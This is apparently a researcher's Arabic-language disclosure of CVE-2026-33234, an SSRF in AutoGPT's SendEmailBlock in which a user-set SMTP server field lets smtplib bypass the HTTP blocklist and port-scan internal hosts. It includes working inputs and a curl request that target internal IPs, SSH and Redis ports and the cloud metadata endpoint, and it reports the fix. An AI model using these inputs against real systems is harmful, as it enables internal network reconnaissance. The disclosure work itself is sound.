
إرسال SSRF عبر مقابس TCP الخام في smtplib لتجاوز قائمة الحظر HTTP في AutoGPT SendEmailBlock
CVE-2026-33234 | متوسطة 5.0 | GHSA-4jwj-6mg5-wrwf المؤلف: Pavan Nallamothu
كنت أُخطط لكل مدخل يتحكم به المستخدم ويلامس الشبكة في منصة AutoGPT. كانت طبقة HTTP محكمة الإغلاق. نطاقات IP الخاصة (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)، وloopback، ونقاط نهاية بيانات cloud metadata — كلها مدرجة في القائمة السوداء. أكدت بوابة HTTP من زوايا متعددة. لم يمرّ أي شيء.
ثم فتحت مخطط إعدادات SendEmailBlock.
كان حقل خادم SMTP مدخلًا نصيًا حرًا. ليس بيانات اعتماد إدارية. ليس إعدادًا مقفلاً يُضبط مرة واحدة عند النشر. حقل يمكن لأي مستخدم مصادق أن يملأه بما يشاء. تتبعت مسار الكود ووجدت أن smtplib.SMTP() يفتح مقبس TCP خام. هذا الاتصال لا يمر أبدًا عبر مسار HTTP حيث توجد قائمة حظر IP. وُجد مساران صادران في المنصة. واحد فقط كان محميًا.
وجّهت خادم SMTP إلى localhost:22.
عاد لافتة SSH في رسالة الخطأ. يتصل smtplib بأي شيء تعطيه إياه، ويحاول قراءة ترحيب SMTP 220، وعندما يحصل على شيء آخر، يغلّف البايتات الخام في SMTPConnectError. ينتشر هذا الاستثناء عبر إطار تنفيذ AutoGPT ويظهر بوضوح في مخرجات الكتلة. كنت أطّلع على سلسلة إصدار SSH للهدف دون لمس طبقة HTTP إطلاقًا.
هذا ما جعل الأمر مثيرًا للاهتمام. smtplib ليس مجرد عميل بريد إلكتروني. إنه أداة التقاط لافتات TCP مع تقارير أخطاء منظمة. وجّهه إلى المنفذ 6379 وستحصل على توقيع بروتوكول Redis. وجّهه إلى منفذ مغلق وسيخبرك ConnectionRefusedError أن المضيف حي لكن المنفذ معطّل. وجّهه إلى 169.254.169.254:80 وستتأكد أن نقطة نهاية cloud metadata قابلة للوصول. كل محاولة اتصال تُرجع خطأً مختلفًا وغنيًا بالمعلومات. SSRF غير أعمى عبر ميزة كان من المفترض أن تُرسل البريد الإلكتروني.
تصميم SMTPConfig يضاعف المشكلة. في بنية آمنة، كان عنوان خادم SMTP سيكون بيانات اعتماد يتحكم بها المسؤول — تُضبط مرة واحدة، وتُقفل، ولا تُعرض أبدًا للمستخدمين. بدلاً من ذلك، هو مدخل لكل عملية تنفيذ. كل مستخدم مصادق يتحكم في المكان الذي تفتح فيه المنصة اتصالات TCP.
# إعداد SendEmailBlock - اضبط خادم SMTP على أهداف داخلية
# فحص SSH
smtp_server = "10.0.0.5"
smtp_port = 22
# الخطأ يكشف: "SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.6"
# فحص Redis
smtp_server = "10.0.0.5"
smtp_port = 6379
# الخطأ يكشف: "-ERR unknown command ..."
# فحص منفذ مغلق
smtp_server = "10.0.0.5"
smtp_port = 9999
# الخطأ يكشف: "ConnectionRefusedError" (المنفذ مغلق، المضيف حي)
# الوصول إلى cloud metadata
smtp_server = "169.254.169.254"
smtp_port = 80
# يؤكد إمكانية الوصول إلى نقطة نهاية metadata
تحققت من السلسلة الكاملة عبر واجهة برمجة تنفيذ الكتلة:
# اختبار مباشر مكافئ ضد واجهة برمجة تنفيذ الكتلة
curl -X POST https://autogpt-platform/api/blocks/execute \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
-d '{
"block_id": "send_email_block",
"inputs": {
"smtp_server": "10.0.0.5",
"smtp_port": 22,
"to": "[email protected]",
"subject": "test",
"body": "test"
}
}'
# الاستجابة تحتوي على SMTPConnectError مع لافتة SSH
graph LR
A[Attacker sets SMTP server to internal IP] --> B[SendEmailBlock calls smtplib.SMTP]
B --> C[Raw TCP connect to target:port]
C --> D{Service responds?}
D -->|Yes| E[Banner read as SMTP greeting]
E --> F[SMTPConnectError with banner data]
F --> G[Error propagates to block output]
D -->|No| H[ConnectionRefused = port closed]
G --> I[Attacker reads service version]سطح الهجوم الذي يفتحه هذا كبير. لافتات SSH تكشف الإصدارات الدقيقة (OpenSSH_8.9p1 Ubuntu-3ubuntu0.6). Redis يسرّب توقيع بروتوكوله. MySQL يرسل سلسلة إصداره. كل لافتة هي بحث CVE بانتظار الحدوث. المهاجم يرسم خريطة الشبكة الداخلية، ويحدد كل خدمة قيد التشغيل وإصدارها الدقيق، ثم يستهدف الأضعف. كل ذلك من حقل نصي مكتوب عليه "SMTP Server".
ثلاثة فحوصات مفقودة سبّبت هذا: لا تحقق من IP على مسار SMTP، ولا تقييد للمنافذ، ولا تنقية للاستثناءات. المنصة حمَت كل باب صادر باستثناء الباب المكتوب عليه "البريد الصادر".
أبلغت عن المشكلة إلى Significant Gravitas. لقد فهموا الفجوة المعمارية فورًا.
أُصلح في: autogpt-platform-backend 0.6.52 (أُضيف التحقق من خادم SMTP إلى تطبيق القائمة السوداء، وطُبقت قيود على المنافذ)